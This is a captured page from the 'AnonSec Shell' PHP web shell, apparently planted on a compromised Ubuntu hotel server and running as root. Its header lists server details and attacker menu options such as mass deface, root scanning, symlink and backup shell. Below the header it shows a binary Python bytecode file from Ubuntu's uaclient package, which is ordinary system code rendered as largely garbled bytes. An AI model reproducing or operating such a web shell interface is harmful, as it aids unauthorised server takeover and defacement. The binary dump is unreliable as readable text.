AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/uaclient/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/uaclient/__pycache__/util.cpython-310.pyc
o

F��c�P�@s
ddlZddlZddlZddlZddlZddlZddlZddlZddlm	Z	ddl
mZddlm
Z
ddlmZmZmZmZmZmZmZddlmZmZddlmZddlmZmZmZdd	lm Z dd
l!m"Z"e#�Z$dZ%dZ&d
Z'dZ(dZ)e�*�Z+Gdd�dej,�Z-Gdd�dej.�Z/Gdd�dej0�Z1e	dd��Z2dd�Z3	dVdee4efdee4efde4dee4effdd �Z5d!e4de6fd"d#�Z7dgfd$e4d%ee4de4fd&d'�Z8	(dWd$e4d)e6d*e6de6fd+d,�Z9d-ee4d.ee4ddfd/d0�Z:diddd1fd!e4d2ee;d3ee4e4fd4ee4d5ee<d6e6deeee
ee4e4ffffd7d8�Z=d9ee4efd:e4de6fd;d<�Z>gd=�Z?e?fd>ee4de4fd?d@�Z@dAee"de6fdBdC�ZAdDe4dejfdEdF�ZBdGe4dHee4dIe4dee4fdJdK�ZCdLe4de4fdMdN�ZDdOdP�ZEdQdR�ZFdSee4dee4fdTdU�ZGdS)X�N)�contextmanager��wraps)�HTTPMessage)�Any�Dict�List�Mapping�Optional�Tuple�Union)�error�request)�urlparse)�event_logger�
exceptions�messages)�CONFIG_FIELD_ENVVAR_ALLOWLIST)�MessagingOperations)z169.254.169.254�metadataz[fd00:ec2::254]zhttp://archive.ubuntu.comzhttps://esm.ubuntu.comzhttp://api.snapcraft.iozhttps://api.snapcraft.ioc@s0eZdZejdejdiZdejdefdd�Z	dS)�LogFormatterzERROR: %(message)szDEBUG: %(message)s�record�returncCs |j�|jd�}t�|��|�S)Nz%(message)s)�FORMATS�get�levelno�logging�	Formatter�format)�selfr�log_fmt�r!�//usr/lib/python3/dist-packages/uaclient/util.pyr'szLogFormatter.formatN)
�__name__�
__module__�__qualname__r�ERROR�DEBUGr�	LogRecord�strrr!r!r!r"r s
�rcs eZdZdZ�fdd�Z�ZS)�DatetimeAwareJSONEncoderzBA json.JSONEncoder subclass that writes out isoformat'd datetimes.cs t|tj�r
|��St��|�S�N)�
isinstance�datetime�	isoformat�super�default)r�o��	__class__r!r"r0/sz DatetimeAwareJSONEncoder.default)r#r$r%�__doc__r0�
__classcell__r!r!r2r"r*,sr*cs,eZdZdZ�fdd�Zedd��Z�ZS)�DatetimeAwareJSONDecodera,
    A JSONDecoder that parses some ISO datetime strings to datetime objects.

    Important note: the "some" is because we seem to only be able extend
    Python's json library in a way that lets us convert string values within
    JSON objects (e.g. '{"lastModified": "2019-07-25T14:35:51"}'). Strings
    outside of JSON objects (e.g. '"2019-07-25T14:35:51"') will not be passed
    through our decoder.

    (N.B. This will override any object_hook specified using arguments to it,
    or used in load or loads calls that specify this as the cls.)
    cs.d|vr	|�d�t�j|d|ji|��dS)N�object_hook)�popr/�__init__r7)r�args�kwargsr2r!r"r9Cs
z!DatetimeAwareJSONDecoder.__init__c	CsL|��D]\}}t|t�r#zt|�}Wnty|}Ynw|||<q|Sr+)�itemsr,r)�parse_rfc3339_date�
ValueError)r1�key�value�	new_valuer!r!r"r7Hs
���z$DatetimeAwareJSONDecoder.object_hook)r#r$r%r4r9�staticmethodr7r5r!r!r2r"r65s

r6c	cs~�dd�t��jD�}|st�d�dVdS|d}|j}|tjkr(dVdS|�d�zdVW|�|�dS|�|�w)a�
    A context manager that disables logging to console in its body

    N.B. This _will not_ disable console logging if it finds the console
    handler is configured at DEBUG level; the assumption is that this means we
    want as much output as possible, even if it risks duplication.

    This context manager will allow us to gradually move away from using the
    logging framework for user-facing output, by applying it to parts of the
    codebase piece-wise. (Once the conversion is complete, we should have no
    further use for it and it can be removed.)

    (Note that the @contextmanager decorator also allows this function to be
    used as a decorator.)
    cSsg|]	}|jdkr|�qS)z
ua-console)�name)�.0�handlerr!r!r"�
<listcomp>hs��z*disable_log_to_console.<locals>.<listcomp>z0disable_log_to_console: no console handler foundNri�)r�	getLogger�handlers�debug�levelr'�setLevel)�potential_handlers�console_handler�	old_levelr!r!r"�disable_log_to_consoleWs"��


rOcs��fdd�}|S)a�Decorator to retry on exception for retry_sleeps.

    @param retry_sleeps: List of sleep lengths to apply between
       retries. Specifying a list of [0.5, 1] tells subp to retry twice
       on failure; sleeping half a second before the first retry and 1 second
       before the second retry.
    @param exception: The exception class to catch and retry for the provided
       retry_sleeps. Any other exception types will not be caught by the
       decorator.
    cst�����fdd��}|S)Nc
sx���}	z�|i|��WS�y:}z!|s|�dt|�}t�t|�|�t�|�d��WYd}~nd}~wwq)NTz Retrying %d more times.r)�copy�lenrrIr)�time�sleepr8)r:r;�sleeps�e�	retry_msg)�	exception�f�retry_sleepsr!r"�	decorator�s���z)retry.<locals>.wrapper.<locals>.decoratorr)rXrZ�rWrY)rXr"�wrapper�szretry.<locals>.wrapperr!)rWrYr\r!r[r"�retry�sr]��	orig_dict�new_dict�pathrc
Cs�i}|��D]M\}}|�|t�}|s|n|d|}t|t�r8||vr3t||||d�}|r2|||<qt||<q||krSd|dt|�d}	t�t	|	��|||<q|��D]\}}||vrd|||<qX|S)z<Return a dictionary of delta between orig_dict and new_dict.�.)razContract value for 'z' changed to '�')
r<r�DROPPED_KEYr,�dict�get_dict_deltasr)rrI�redact_sensitive_logs)
r_r`ra�deltasr?r@rA�key_path�	sub_delta�logr!r!r"rf�s@

��
�������rf�urlcCsRzt|�}Wn
tyYdSw|jdvrdSz|jWdSty(YdSw)NF)�https�httpT)rr>�scheme�port)rl�
parsed_urlr!r!r"�is_service_url�s�
��rr�msg�
valid_choicescCsRd}d�|d�dd�|D���}	t�|�td���}||vr#	|St�|�q)aGInteractive prompt message, returning a valid choice from msg.

    Expects a structured msg which designates choices with square brackets []
    around the characters which indicate a valid choice.

    Uppercase and lowercase responses are allowed. Loop on invalid choices.

    :return: Valid response character chosen.
    r^z{} is not one of: {}�, cSsg|]}|���qSr!)�upper)rD�choicer!r!r"rF�sz"prompt_choices.<locals>.<listcomp>Tz> )r�join�event�info�input�lower)rsrtr@�	error_msgr!r!r"�prompt_choices�s
�

��r~F�
assume_yesr0cCs>|rdS|s	tj}t|�����}|dkr|S|dvrdSdS)a�
    Display a confirmation prompt, returning a bool indicating the response

    :param msg: String custom prompt text to emit from input call.
    :param assume_yes: Boolean set True to skip confirmation input and return
        True.
    :param default: Boolean to return when user doesn't enter any text

    This function will only prompt a single time, and defaults to "no" (i.e. it
    returns False).
    Tr^)�y�yesF)r�
PROMPT_YES_NOr{r|�strip)rsrr0r@r!r!r"�prompt_for_confirmation�sr��
http_proxy�https_proxycCs�i}|r||d<|r||d<d�tt��}dD]}tj�|�}|r2d�tt|�d���tt����}qt	�
d|�|tjd<|tjd<|rVt�|�}t�
|�}t�|�dSdS)	a!
    Configure urllib to use http and https proxies.

    :param http_proxy: http proxy to be used by urllib. If None, it will
                       not be configured
    :param https_proxy: https proxy to be used by urllib. If None, it will
                        not be configured
    rnrm�,)�no_proxy�NO_PROXYzSetting no_proxy: %sr�r�N)rx�sorted�UA_NO_PROXY_URLS�os�environr�set�split�unionrrIr�ProxyHandler�build_opener�install_opener)r�r��
proxy_dictr��env_var�proxy_value�
proxy_handler�openerr!r!r"�configure_web_proxys.���



�r�T�data�headers�method�timeout�potentially_sensitivecsF|r|sd}tj||�|d�}d��fdd�t��D��}t�td�|p%d|||r.|�d�nd���d	}ztj	||d
��d	}Wnt
jyW}	z
|	�d}WYd}	~	nd}	~	wwt�d��
��d���j}
d
t�j�dd��vrvt�|
�}
d��fdd�t�j�D��}d�|p�d|||
�}|r�t|�}t�|�|r���|
�jfS)N�POST)r�r�r�rucsg|]
}d�|�|��qS�z
'{}': '{}')r�rD�k)r�r!r"rF6szreadurl.<locals>.<listcomp>z'URL [{}]: {}, headers: {{{}}}, data: {}�GETzutf-8F)r�T�bodyzapplication/jsonzContent-typer^csg|]}d�|�j|��qSr�)rr�r�)�respr!r"rFNsz0URL [{}] response: {}, headers: {{{}}}, data: {})r�Requestrxr�rrIrgr�decode�urlopenr
�	HTTPError�setattr�readr�r)r�r�json�loads)rlr�r�r�r�r��req�sorted_header_str�http_error_foundrU�content�	debug_msgr!)r�r�r"�readurl*sR����
��
��

r��config�
path_to_valuecCs�|}i}|�d�}|d}|D]}||krd}t|t�r#|�||�}qdSt|�}|��dkr2dS|��dkr:dSt�tj	j
|d|d���)	aKCheck if value parameter can be translated into a boolean 'True' value.

    @param config: A config dict representing
                   /etc/ubuntu-advantange/uaclient.conf
    @param path_to_value: The path from where the value parameter was
                          extracted.
    @return: A boolean value indicating if the value paramater corresponds
             to a 'True' boolean value.
    @raises exceptions.UserFacingError when the value provide by the
            path_to_value parameter can not be translated into either
            a 'False' or 'True' boolean value.
    rb����falseF�trueTzboolean string: true or false)r��expected_valuer@)r�r,rerr)r|r�UserFacingErrorr�ERROR_INVALID_CONFIG_VALUEr)r�r�r@�
default_value�paths�
leaf_valuer?�	value_strr!r!r"�is_config_value_true\s,


��r�)z(Bearer )[^\']+z(\'attach\', \')[^\']+z(\'machineToken\': \')[^\']+�(\'token\': \')[^\']+z((\'X-aws-ec2-metadata-token\': \')[^\']+z*(.*\[PUT\] response.*api/token,.*data: ).*z(https://bearer:)[^\@]+z1(/snap/bin/canonical-livepatch\s+enable\s+)[^\s]+z>(Contract\s+value\s+for\s+'resourceToken'\s+changed\s+to\s+).*z(\'resourceToken\': \')[^\']+z(\'contractToken\': \')[^\']+zF(https://contracts.canonical.com/v1/resources/livepatch\?token=)[^\s]+z(\"identityToken\": \")[^\"]+zT(response:\s+http://metadata/computeMetadata/v1/instance/service-accounts.*data: ).*r�z(\'userCode\': \')[^\']+z(\'magic_token=)[^\']+�
redact_regexscCs |}|D]	}t�|d|�}q|S)z4Redact known sensitive information from log content.z\g<1><REDACTED>)�re�sub)rkr��redacted_log�redact_regexr!r!r"rg�srg�msg_opscCsH|sdS|D]}t|t�rt�|�q|\}}|di|��s!dSqdS)ahEmit messages to the console for user interaction

    :param msg_op: A list of strings or tuples. Any string items are printed.
        Any tuples will contain a callable and a dict of args to pass to the
        callable. Callables are expected to return True on success and
        False upon failure.

    :return: True upon success, False on failure.
    TFNr!)r,r)ryrz)r��msg_op�functorr:r!r!r"�handle_message_operations�s
�r��dt_strcCsDt�dd|�}t�dd|�}|�dd�}t�dd|�}tj�|d	�S)
aT
    Parse a datestring in rfc3339 format. Originally written for compatibility
    with golang's time.MarshalJSON function. Also handles output of pythons
    isoformat datetime method.

    This drops subseconds.

    :param dt_str: a date string in rfc3339 format

    :return: datetime.datetime object of time represented by dt_str
    z(\d{2}:\d{2}:\d{2})\.\d+z\g<1>z(\d{2}:\d{2}:\d{2})$z\g<1>Z�Zz+00:00z(-|\+)(\d{2}):(\d{2})$z\g<1>\g<2>\g<3>z%Y-%m-%dT%H:%M:%S%z)r�r��replacer-�strptime)r��dt_str_without_subseconds�
dt_str_with_z�dt_str_without_z�dt_str_with_pythonish_tzr!r!r"r=�s��	��r=�protocol�proxy�test_urlcCs�|sdSt|�s
t�|��tj|dd�}t�||i�}t�|�}z|�|�|WStj	t
jfyd}z,t��t
|dt|��}t�
tjj|||d��Wd�n1sVwYt�|��d}~ww)N�HEAD)r��reason)r�r�r
)rrr�ProxyInvalidUrlrr�r�r��open�socketr�r
�URLErrorrO�getattrr)rr�ERROR_USING_PROXYr�ProxyNotWorkingError)r�r�r�r�r�r�rUrsr!r!r"�validate_proxy�s,


���
��r��messagecCsPtjjdusdtjj��vr&|�dd�}|�tjdd�}|�tjdd�}|S)z}
    Verify if the system can output unicode characters and if not,
    remove those characters from the message string.
    NzUTF-8u—�-� r^)�sys�stdout�encodingrvr�r�
OKGREEN_CHECK�FAIL_X)r�r!r!r"�handle_unicode_characterss
��r�cCsdd�tj��D�S)NcSs4i|]\}}|��tvs|�d�s|dkr||�qS)�UA_FEATURES�UA_CONFIG_FILE)r|r�
startswith)rDr��vr!r!r"�
<dictcomp>(s
����z'get_pro_environment.<locals>.<dictcomp>)r�r�r<r!r!r!r"�get_pro_environment's�r�cCs�dd�}|��D]D\}}|�|�}t|t�r#t|t�r#t|||�qt|t�rHt|t�rHt|�rBt|dt�rB|||||d�q	|||<q|||<qdS)a�Merge the contents of overlay dict into base_dict not only on top-level
    keys, but on all on the depths of the overlay_dict object. For example,
    using these values as entries for the function:

    base_dict = {"a": 1, "b": {"c": 2, "d": 3}}
    overlay_dict = {"b": {"c": 10}}

    Should update base_dict into:

    {"a": 1, "b": {"c": 10, "d": 3}}

    @param base_dict: The dict to be updated
    @param overlay_dict: The dict with information to be added into base_dict
    c
Ssvddd�}g}|�|�}|D]%}d}t|�D]\}}	|	�|�|�|�kr+t|	|�d}q|s3|�|�q|�|�dS)NrC�type)�availableResources�resourceEntitlementsFT)r�	enumerate�depth_first_merge_overlay_dict�append�extend)
�base_values�overlay_valuesr?�merge_id_key_map�values_to_append�id_key�
overlay_value�was_replaced�base_value_idx�
base_valuer!r!r"�update_dict_listAs �

�
�z8depth_first_merge_overlay_dict.<locals>.update_dict_listr)r?N)r<rr,rer��listrQ)�	base_dict�overlay_dictr�r?r@r�r!r!r"r�1s


�r��archescCsBt�}dddddd�}|D]
}|�|�|��|��q
tt|��S)N�amd64�i386�ppc64el�arm64�armhf)�x86_64�i686�ppc64le�aarch64�armv7l)r��addrr|r�r)r�deduplicated_arches�arch_aliases�archr!r!r"�deduplicate_archesds�r)r^)r^FF)Hr-r�rr�r�r�r�rR�
contextlibr�	functoolsr�http.clientr�typingrrrr	r
rr�urllibr
r�urllib.parser�uaclientrrr�uaclient.defaultsr�uaclient.typesr�objectrdr��PROXY_VALIDATION_APT_HTTP_URL�PROXY_VALIDATION_APT_HTTPS_URL�PROXY_VALIDATION_SNAP_HTTP_URL�PROXY_VALIDATION_SNAP_HTTPS_URL�get_event_loggerryrr�JSONEncoderr*�JSONDecoderr6rOr]r)rf�boolrrr~r�r��bytes�intr�r��REDACT_SENSITIVE_LOGSrgr�r=r�r�r�r�rr!r!r!r"�<module>s�$	"
) �
�
��

�! ����
���
�)���
����
�2)��
�
�
�7���
�
3

Anon7 - 2022
AnonSec Team